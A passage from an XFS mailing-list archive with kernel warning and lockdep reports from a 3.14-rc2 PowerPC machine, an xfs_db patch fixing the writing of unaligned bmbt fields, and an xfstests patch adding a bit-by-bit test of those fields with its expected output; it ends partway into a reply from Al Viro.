1 On Thu, 13 Feb 2014 at 11:53, Christian Kujau wrote: > after upgrading from 3.13-rc8 to 3.14.0-rc2 on this PowerPC G4 machine, > the WARNING below was printed. > > Shortly after, a lockdep warning appeared (possibly related to my > post to the XFS list yesterday[0]). Sigh, only _after_ sending the email, I came across an earlier posting on lkml: http://marc.info/?l=linux-mm&m=139145788623391 Sorry for the noise. These out-of-memory messages below appeared without the WARNING though and started somewhere in 3.13, but are impossible to bisect, as they're happening only every few days / weeks. Christian. > Even later in the log an out-of-memory error appeared, that may or may not > be relatd to that WARNING at all but which I'm trying to chase down ever > since 3.13, but which tends to appear more often lately. > > Can anyone take a look if this is something to worry about? > > Full dmesg & .config: http://nerdbynature.de/bits/3.14-rc2/mm/ > > Thanks, > Christian. > > [0] http://oss.sgi.com/pipermail/xfs/2014-February/034054.html > > ------------[ cut here ]------------ > WARNING: at /usr/local/src/linux-git/mm/slub.c:1007 > Modules linked in: md5 ecb nfs i2c_powermac therm_adt746x ecryptfs arc4 > firewire_sbp2 b43 usb_storage mac80211 cfg80211 > CPU: 0 PID: 9025 Comm: nfsd Not tainted 3.14.0-rc2 #1 > task: efbf8000 ti: ed2a0000 task.ti: ed2a0000 > NIP: c00ccc28 LR: c00ccc20 CTR: 00000000 > REGS: ed2a1980 TRAP: 0700 Not tainted (3.14.0-rc2) > MSR: 00021032 CR: 22f82b82 XER: 20000000 > > GPR00: c00ccc20 ed2a1a30 efbf8000 00000000 ef96e550 00000000 00000000 > 00002ce0 > GPR08: 00000000 00000001 efbf86f8 000005e7 82fc2b88 00000000 00000001 > 00080011 > GPR16: 00000000 00000000 c0760000 00000000 ef96e564 00100100 00200200 > c1203914 > GPR24: 00000000 ef96e540 00000002 ef96fa80 00000000 00000000 ed2a0000 > c1203900 > NIP [c00ccc28] deactivate_slab+0x4c0/0x538 > LR [c00ccc20] deactivate_slab+0x4b8/0x538 > Call Trace: > [ed2a1a30] [c00ccc20] deactivate_slab+0x4b8/0x538 (unreliable) > [ed2a1ae0] [c055d5f0] __slab_alloc.constprop.77+0x260/0x38c > [ed2a1b50] [c00cd524] kmem_cache_alloc+0x118/0x140 > [ed2a1b70] [c01de4bc] kmem_zone_alloc+0x94/0x108 > [ed2a1ba0] [c01cccd4] xfs_inode_alloc+0x2c/0xd4 > [ed2a1bc0] [c01cd7a4] xfs_iget+0x2e4/0x584 > [ed2a1c30] [c020e664] xfs_lookup+0xc8/0xe4 > [ed2a1c70] [c01d3c28] xfs_vn_lookup+0x64/0xbc > [ed2a1c90] [c00db3ac] lookup_real+0x30/0x70 > [ed2a1ca0] [c00dc384] __lookup_hash+0x3c/0x58 > [ed2a1cc0] [c00e1438] lookup_one_len+0x10c/0x15c > [ed2a1ce0] [c01a170c] nfsd4_encode_dirent+0xb4/0x328 > [ed2a1d10] [c018f580] nfsd_readdir+0x1d4/0x288 > [ed2a1d90] [c019d648] nfsd4_encode_readdir+0x138/0x1f4 > [ed2a1dd0] [c01a1b18] nfsd4_encode_operation+0x8c/0xf0 > [ed2a1df0] [c019aa4c] nfsd4_proc_compound+0x1b8/0x4f8 > [ed2a1e30] [c0189d20] nfsd_dispatch+0x90/0x1a0 > [ed2a1e50] [c0536b04] svc_process+0x3d0/0x698 > [ed2a1e90] [c01895bc] nfsd+0xc0/0x120 > [ed2a1eb0] [c004f8fc] kthread+0xbc/0xd0 > [ed2a1f40] [c0010ae4] ret_from_kernel_thread+0x5c/0x64 > Instruction dump: > 7fe4fb78 800100b4 b9c10068 7d810120 7d808120 7c0803a6 382100b0 4bfffb00 > 80610048 4bf95dc5 2f830000 40beff4c <0fe00000> 4bffff44 815e000c 394a0001 > ---[ end trace 1f5ed3ea8b3e4403 ]--- > > > -- > BOFH excuse #65: > > system needs to be rebooted > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > -- BOFH excuse #65: system needs to be rebooted From tinguely@eagdhcp-232-183.americas.sgi.com Thu Feb 13 14:25:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 86B6E7F55 for ; Thu, 13 Feb 2014 14:25:08 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay3.corp.sgi.com (Postfix) with ESMTP id 04139AC005 for ; Thu, 13 Feb 2014 12:25:04 -0800 (PST) Received: from eagdhcp-232-183.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-183.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s1DKP6Pq005446 for ; Thu, 13 Feb 2014 14:25:06 -0600 (CST) (envelope-from tinguely@eagdhcp-232-183.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-183.americas.sgi.com (8.14.5/8.14.5/Submit) id s1DKP62L005445; Thu, 13 Feb 2014 14:25:06 -0600 (CST) (envelope-from tinguely) Message-Id: <20140213202555.996721782@sgi.com> User-Agent: quilt/0.47-15.17.1 Date: Thu, 13 Feb 2014 14:25:36 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH v3] xfs_db: fix the setting of unaligned directory fields References: <20140210230923.268327906@sgi.com> Content-Disposition: inline; filename=xfs_db-fix-dir-settings.patch Setting the directory startoff, startblock, and blockcount fields are difficult on both big and little endian machines. The setting of extentflag was completely broken. big endian test: xfs_db> write u.bmx[0].startblock 12 u.bmx[0].startblock = 0 xfs_db> write u.bmx[0].startblock 0xc0000 u.bmx[0].startblock = 192 little endian test: xfs_db> write u.bmx[0].startblock 12 u.bmx[0].startblock = 211106232532992 xfs_db> write u.bmx[0].startblock 0xc0000 u.bmx[0].startblock = 3221225472 Since the output fields and the lengths are not aligned to a byte, setbitval requires them to be entered in big endian and properly byte/nibble shifted. The extentflag output was aligned to a byte but was not shifted correctly. Convert the input to big endian on little endian machines and nibble/byte shift on all platforms so setbitval can set the bits correctly. Clean some whitespace while in the setbitbal() function. Signed-off-by: Mark Tinguely --- v3: Hex input is not a number. More ten year old white space cleanups. v2: Ignore extra characters in input. Fix hash input if still used as an integer input. It was broken on big endian, but someone may use this input in a little endian script. Add documentation. Did more clean up. db/bit.c | 84 ++++++++++++------------------ db/write.c | 166 ++++++++++++++++++++++++++++++++++++++++--------------------- 2 files changed, 143 insertions(+), 107 deletions(-) Index: b/db/bit.c =================================================================== --- a/db/bit.c +++ b/db/bit.c @@ -128,57 +128,41 @@ getbitval( return rval; } +/* + * The input data can be 8, 16, 32, and 64 sized numeric values + * aligned on a byte boundry, or odd sized numbers stored on odd + * aligned offset (for example the bmbt fields). + * + * The input data sent to this routine has been converted to big endian + * and has been adjusted in the array so that the first input bit is to + * be written in the first bit in the output. + * + * If the field length and the output buffer are byte aligned, then use + * memcpy from the input to the output, but if either entries are not byte + * aligned, then loop over the entire bit range reading the input value + * and set/clear the matching bit in the output. + * + * example when ibuf is not multiple of a byte in length: + * + * ibuf: | BBBBBBBB | bbbxxxxx | + * \\\\\\\\--\\\\ + * obuf+bitoff: | xBBBBBBB | Bbbbxxxx | + * + */ void setbitval( - void *obuf, /* buffer to write into */ - int bitoff, /* bit offset of where to write */ - int nbits, /* number of bits to write */ - void *ibuf) /* source bits */ + void *obuf, /* start of buffer to write into */ + int bitoff, /* bit offset into the output buffer */ + int nbits, /* number of bits to write */ + void *ibuf) /* source bits */ { - char *in = (char *)ibuf; - char *out = (char *)obuf; - - int bit; - -#if BYTE_ORDER == LITTLE_ENDIAN - int big = 0; -#else - int big = 1; -#endif - - /* only need to swap LE integers */ - if (big || (nbits!=16 && nbits!=32 && nbits!=64) ) { - /* We don't have type info, so we can only assume - * that 2,4 & 8 byte values are integers. sigh. - */ - - /* byte aligned ? */ - if (bitoff%NBBY) { - /* no - bit copy */ - for (bit=0; bit= '0' || *(ostr+1) <= '7') { - ret = convert_oct(ostr+1, &octval); + if (*(ostr + 1) >= '0' || *(ostr + 1) <= '7') { + ret = convert_oct(ostr + 1, &octval); *rbuf++ = octval; - ostr += ret+1; + ostr += ret + 1; continue; } } *rbuf++ = *ostr++; } - return buf; - } else if (arg[0] == '#' || ((arg[0] != '-') && strchr(arg,'-'))) { + } + + if (arg[0] == '#' || ((arg[0] != '-') && strchr(arg,'-'))) { /* * handle hex blocks ie * #00112233445566778899aabbccddeeff @@ -496,48 +519,77 @@ convert_arg( * * (but if it starts with "-" assume it's just an integer) */ - int bytes=bit_length/8; + int bytes = bit_length / NBBY; + + /* is this an array of hec numbers? */ + if (bit_length % NBBY) + return NULL; /* skip leading hash */ - if (*arg=='#') arg++; + if (*arg == '#') arg++; while (*arg && bytes--) { - /* skip hypens */ - while (*arg=='-') arg++; + /* skip hypens */ + while (*arg == '-') arg++; - /* get first nybble */ - if (!isxdigit((int)*arg)) return NULL; - *rbuf=NYBBLE((int)*arg)<<4; - arg++; - - /* skip more hyphens */ - while (*arg=='-') arg++; - - /* get second nybble */ - if (!isxdigit((int)*arg)) return NULL; - *rbuf++|=NYBBLE((int)*arg); - arg++; + /* get first nybble */ + if (!isxdigit((int)*arg)) + return NULL; + *rbuf = NYBBLE((int)*arg) << 4; + arg++; + + /* skip more hyphens */ + while (*arg == '-') + arg++; + + /* get second nybble */ + if (!isxdigit((int)*arg)) + return NULL; + *rbuf++ |= NYBBLE((int)*arg); + arg++; } - if (bytes<0&&*arg) return NULL; + if (bytes < 0 && *arg) + return NULL; + return buf; - } else { - /* - * handle integers - */ - *value = strtoll(arg, NULL, 0); + } -#if __BYTE_ORDER == BIG_ENDIAN - /* hackery for big endian */ - if (bit_length <= 8) { - rbuf += 7; - } else if (bit_length <= 16) { - rbuf += 6; - } else if (bit_length <= 32) { - rbuf += 4; - } -#endif - return rbuf; - } + /* handle decimal / hexadecimal integers */ + val = strtoll(arg, &endp, 0); + /* return if not a clean number */ + if (*endp != '\0') + return NULL; + + /* Is this value valid for the bit length? */ + if ((val >> bit_length) > 0) + return NULL; + /* + * If the length of the field is not a multiple of a byte, push + * the bits up in the field, so the most signicant field bit is + * the most significant bit in the byte: + * + * before: + * val |----|----|----|----|----|--MM|mmmm|llll| + * after + * val |----|----|----|----|----|MMmm|mmll|ll00| + */ + offset = bit_length % NBBY; + if (offset) + val <<= (NBBY - offset); + + /* + * convert to big endian and copy into the array + * rbuf |----|----|----|----|----|MMmm|mmll|ll00| + */ + *value = cpu_to_be64(val); + + /* + * Align the array to point to the field in the array. + * rbuf = |MMmm|mmll|ll00| + */ + offset = sizeof(__be64) - 1 - ((bit_length - 1)/ sizeof(__be64)); + rbuf += offset; + return rbuf; } @@ -550,9 +602,9 @@ write_struct( { const ftattr_t *fa; flist_t *fl; - flist_t *sfl; - int bit_length; - char *buf; + flist_t *sfl; + int bit_length; + char *buf; int parentoffset; if (argc != 2) { From tinguely@eagdhcp-232-183.americas.sgi.com Thu Feb 13 14:25:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EA5FF29DFD for ; Thu, 13 Feb 2014 14:25:11 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay3.corp.sgi.com (Postfix) with ESMTP id 63321AC00B for ; Thu, 13 Feb 2014 12:25:11 -0800 (PST) Received: from eagdhcp-232-183.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-183.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s1DKPCaF005450 for ; Thu, 13 Feb 2014 14:25:12 -0600 (CST) (envelope-from tinguely@eagdhcp-232-183.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-183.americas.sgi.com (8.14.5/8.14.5/Submit) id s1DKPCGS005449; Thu, 13 Feb 2014 14:25:12 -0600 (CST) (envelope-from tinguely) Message-Id: <20140213202608.627433955@sgi.com> User-Agent: quilt/0.47-15.17.1 Date: Thu, 13 Feb 2014 14:26:56 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH v2] xfstests: test setting XFS BMBT fields References: <20140210231046.910977175@sgi.com> Content-Disposition: inline; filename=xfstests-setting-xfs-bmbt-fields.patch Test the setting of the XFS BMBT fields. Runs through the valid bit values for each field and tests an illegal value. Signed-off-by: Mark Tinguely --- v2: Removed the test for CRC filesystems which also removes need for the nasty prefixes and filtering output. Remove the hex input as an integer test because it aint a number. Remove "__" from function variable names. Add to quick test group. tests/xfs/307 | 95 ++++++++++++++++++++++++++++++++++ tests/xfs/307.out | 148 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/group | 1 3 files changed, 244 insertions(+) Index: b/tests/xfs/307 =================================================================== --- /dev/null +++ b/tests/xfs/307 @@ -0,0 +1,95 @@ +#! /bin/bash +# FS QA Test No. 307 +# +# Test the xfs_db write of the XFS BMBT entries. For each XFS BMBT field, +# write the value 0, each bit and finally the entry beyond the maximum legal +# value. Also makes sure a core write and hex input still work. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 SGI. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +_do_bit_test() +{ + field="$1" + bits="$2" + + echo "testing $field with $bits bits" + $XFS_DB_PROG -x -c "inode $FILE_INO" -c "write $field 0" $SCRATCH_DEV + num=1 + for n in `seq 0 1 $bits`; do + $XFS_DB_PROG -x -c "inode $FILE_INO" \ + -c "write $field $num" $SCRATCH_DEV + let num=$num*2 + done + echo +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +# Modify as appropriate. +_supported_fs xfs +_supported_os Linux + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +# create the test file +echo "make a file with data so it has an extent" > $SCRATCH_MNT/file + +# find the inode for the test file +FILE_INO=`ls -i $SCRATCH_MNT |awk '{print $1}'` + +_scratch_unmount + +# test bit length constants +BMBT_EXNTFLAG_BITLEN=1 +BMBT_STARTOFF_BITLEN=54 +BMBT_STARTBLOCK_BITLEN=52 +BMBT_BLOCKCOUNT_BITLEN=21 + +# test setting the BMBT entries from 0 to past the valid number. +_do_bit_test "u.bmx[0].extentflag" $BMBT_EXNTFLAG_BITLEN +_do_bit_test "u.bmx[0].startoff" $BMBT_STARTOFF_BITLEN +_do_bit_test "u.bmx[0].startblock" $BMBT_STARTBLOCK_BITLEN +_do_bit_test "u.bmx[0].blockcount" $BMBT_BLOCKCOUNT_BITLEN +# test setting the 32 bit generation number +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0x5a" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0xa5" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0" $SCRATCH_DEV +status=0 +exit Index: b/tests/xfs/307.out =================================================================== --- /dev/null +++ b/tests/xfs/307.out @@ -0,0 +1,148 @@ +QA output created by 307 +testing u.bmx[0].extentflag with 1 bits +u.bmx[0].extentflag = 0 +u.bmx[0].extentflag = 1 +unable to convert value '2'. + +testing u.bmx[0].startoff with 54 bits +u.bmx[0].startoff = 0 +u.bmx[0].startoff = 1 +u.bmx[0].startoff = 2 +u.bmx[0].startoff = 4 +u.bmx[0].startoff = 8 +u.bmx[0].startoff = 16 +u.bmx[0].startoff = 32 +u.bmx[0].startoff = 64 +u.bmx[0].startoff = 128 +u.bmx[0].startoff = 256 +u.bmx[0].startoff = 512 +u.bmx[0].startoff = 1024 +u.bmx[0].startoff = 2048 +u.bmx[0].startoff = 4096 +u.bmx[0].startoff = 8192 +u.bmx[0].startoff = 16384 +u.bmx[0].startoff = 32768 +u.bmx[0].startoff = 65536 +u.bmx[0].startoff = 131072 +u.bmx[0].startoff = 262144 +u.bmx[0].startoff = 524288 +u.bmx[0].startoff = 1048576 +u.bmx[0].startoff = 2097152 +u.bmx[0].startoff = 4194304 +u.bmx[0].startoff = 8388608 +u.bmx[0].startoff = 16777216 +u.bmx[0].startoff = 33554432 +u.bmx[0].startoff = 67108864 +u.bmx[0].startoff = 134217728 +u.bmx[0].startoff = 268435456 +u.bmx[0].startoff = 536870912 +u.bmx[0].startoff = 1073741824 +u.bmx[0].startoff = 2147483648 +u.bmx[0].startoff = 4294967296 +u.bmx[0].startoff = 8589934592 +u.bmx[0].startoff = 17179869184 +u.bmx[0].startoff = 34359738368 +u.bmx[0].startoff = 68719476736 +u.bmx[0].startoff = 137438953472 +u.bmx[0].startoff = 274877906944 +u.bmx[0].startoff = 549755813888 +u.bmx[0].startoff = 1099511627776 +u.bmx[0].startoff = 2199023255552 +u.bmx[0].startoff = 4398046511104 +u.bmx[0].startoff = 8796093022208 +u.bmx[0].startoff = 17592186044416 +u.bmx[0].startoff = 35184372088832 +u.bmx[0].startoff = 70368744177664 +u.bmx[0].startoff = 140737488355328 +u.bmx[0].startoff = 281474976710656 +u.bmx[0].startoff = 562949953421312 +u.bmx[0].startoff = 1125899906842624 +u.bmx[0].startoff = 2251799813685248 +u.bmx[0].startoff = 4503599627370496 +u.bmx[0].startoff = 9007199254740992 +unable to convert value '18014398509481984'. + +testing u.bmx[0].startblock with 52 bits +u.bmx[0].startblock = 0 +u.bmx[0].startblock = 1 +u.bmx[0].startblock = 2 +u.bmx[0].startblock = 4 +u.bmx[0].startblock = 8 +u.bmx[0].startblock = 16 +u.bmx[0].startblock = 32 +u.bmx[0].startblock = 64 +u.bmx[0].startblock = 128 +u.bmx[0].startblock = 256 +u.bmx[0].startblock = 512 +u.bmx[0].startblock = 1024 +u.bmx[0].startblock = 2048 +u.bmx[0].startblock = 4096 +u.bmx[0].startblock = 8192 +u.bmx[0].startblock = 16384 +u.bmx[0].startblock = 32768 +u.bmx[0].startblock = 65536 +u.bmx[0].startblock = 131072 +u.bmx[0].startblock = 262144 +u.bmx[0].startblock = 524288 +u.bmx[0].startblock = 1048576 +u.bmx[0].startblock = 2097152 +u.bmx[0].startblock = 4194304 +u.bmx[0].startblock = 8388608 +u.bmx[0].startblock = 16777216 +u.bmx[0].startblock = 33554432 +u.bmx[0].startblock = 67108864 +u.bmx[0].startblock = 134217728 +u.bmx[0].startblock = 268435456 +u.bmx[0].startblock = 536870912 +u.bmx[0].startblock = 1073741824 +u.bmx[0].startblock = 2147483648 +u.bmx[0].startblock = 4294967296 +u.bmx[0].startblock = 8589934592 +u.bmx[0].startblock = 17179869184 +u.bmx[0].startblock = 34359738368 +u.bmx[0].startblock = 68719476736 +u.bmx[0].startblock = 137438953472 +u.bmx[0].startblock = 274877906944 +u.bmx[0].startblock = 549755813888 +u.bmx[0].startblock = 1099511627776 +u.bmx[0].startblock = 2199023255552 +u.bmx[0].startblock = 4398046511104 +u.bmx[0].startblock = 8796093022208 +u.bmx[0].startblock = 17592186044416 +u.bmx[0].startblock = 35184372088832 +u.bmx[0].startblock = 70368744177664 +u.bmx[0].startblock = 140737488355328 +u.bmx[0].startblock = 281474976710656 +u.bmx[0].startblock = 562949953421312 +u.bmx[0].startblock = 1125899906842624 +u.bmx[0].startblock = 2251799813685248 +unable to convert value '4503599627370496'. + +testing u.bmx[0].blockcount with 21 bits +u.bmx[0].blockcount = 0 +u.bmx[0].blockcount = 1 +u.bmx[0].blockcount = 2 +u.bmx[0].blockcount = 4 +u.bmx[0].blockcount = 8 +u.bmx[0].blockcount = 16 +u.bmx[0].blockcount = 32 +u.bmx[0].blockcount = 64 +u.bmx[0].blockcount = 128 +u.bmx[0].blockcount = 256 +u.bmx[0].blockcount = 512 +u.bmx[0].blockcount = 1024 +u.bmx[0].blockcount = 2048 +u.bmx[0].blockcount = 4096 +u.bmx[0].blockcount = 8192 +u.bmx[0].blockcount = 16384 +u.bmx[0].blockcount = 32768 +u.bmx[0].blockcount = 65536 +u.bmx[0].blockcount = 131072 +u.bmx[0].blockcount = 262144 +u.bmx[0].blockcount = 524288 +u.bmx[0].blockcount = 1048576 +unable to convert value '2097152'. + +core.gen = 90 +core.gen = 165 +core.gen = 0 Index: b/tests/xfs/group =================================================================== --- a/tests/xfs/group +++ b/tests/xfs/group @@ -186,3 +186,4 @@ 304 auto quick quota 305 auto quota 306 auto stress log metadata repair +307 auto db quick From lists@colorremedies.com Thu Feb 13 14:42:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CDC727F55 for ; Thu, 13 Feb 2014 14:42:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5EF8EAC005 for ; Thu, 13 Feb 2014 12:42:15 -0800 (PST) X-ASG-Debug-ID: 1392324133-04bdf0121f38d8e0001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id aGYWPAbhYuTCthEi (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Feb 2014 12:42:13 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:57387 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WE36q-0012X6-OG; Thu, 13 Feb 2014 13:42:13 -0700 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected From: Chris Murphy X-ASG-Orig-Subj: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected In-Reply-To: Date: Thu, 13 Feb 2014 13:42:11 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: References: To: Christian Kujau X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1392324133 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145087 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Feb 13, 2014, at 12:56 PM, Christian Kujau = wrote: > On Wed, 12 Feb 2014 at 00:11, Christian Kujau wrote: >> After upgrading from 3.13-rc8 to 3.14-rc2 on this PowerPC G4 machine, = this=20 >> happened: >=20 > Yesterday a slighly different lockdep warning was printed: >=20 > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D > [ INFO: possible irq lock inversion dependency detected ] > 3.14.0-rc2 #1 Tainted: G W =20 > --------------------------------------------------------- > kswapd0/279 just changed the state of lock: > (&(&ip->i_lock)->mr_lock){++++.?}, at: []=20 > xfs_free_eofblocks+0xe8/0x2e0 > but this lock took another, RECLAIM_FS-unsafe lock in the past: > (&mm->mmap_sem){++++++} >=20 > and interrupts could create inverse lock ordering between them. >=20 >=20 > other info that might help us debug this: > Possible interrupt unsafe locking scenario: >=20 > CPU0 CPU1 > ---- ---- > lock(&mm->mmap_sem); > local_irq_disable(); > lock(&(&ip->i_lock)->mr_lock); > lock(&mm->mmap_sem); > > lock(&(&ip->i_lock)->mr_lock); >=20 > *** DEADLOCK *** >=20 > 2 locks held by kswapd0/279: > #0: (shrinker_rwsem){++++..}, at: [] = shrink_slab+0x40/0x13c > #1: (&type->s_umount_key#36){+++++.}, at: [] = grab_super_passive+0x54/0xc0 > the shortest dependencies between 2nd lock and 1st lock: > -> (&mm->mmap_sem){++++++} ops: 58148911 { > HARDIRQ-ON-W at: > [] lock_acquire+0x4c/0x68 > [] down_write+0x4c/0x98 > [] do_execve+0x2dc/0x574 > [] try_to_run_init_process+0x18/0x58 > [] kernel_init+0xac/0x104 > [] ret_from_kernel_thread+0x5c/0x64 >=20 >=20 > =85and on it goes, full dmesg: = http://nerdbynature.de/bits/3.14-rc2/mm/ A user is seeing something similar on Fedora 3.14.x kernels with Btrfs = also. https://bugzilla.redhat.com/show_bug.cgi?id=3D1062439 Chris Murphy From viro@ftp.linux.org.uk Thu Feb 13 14:52:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3EB007F55 for ; Thu, 13 Feb 2014 14:52:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2156D8F8035 for ; Thu, 13 Feb 2014 12:51:56 -0800 (PST) X-ASG-Debug-ID: 1392324714-04cb6c6de236c1b0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id lmrspaJLs4IVCVG5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Feb 2014 12:51:55 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WE3G6-0007gM-Dn; Thu, 13 Feb 2014 20:51:46 +0000 Date: Thu, 13 Feb 2014 20:51:46 +0000 From: Al Viro To: Linus Torvalds Cc: Oleg Nesterov , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140213205146.GS18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140212214411.GQ18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212214411.GQ18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392324715 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145088 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 09:44:11PM +0000, Al Viro wrote: > I'll try to put something along those lines together, if you or 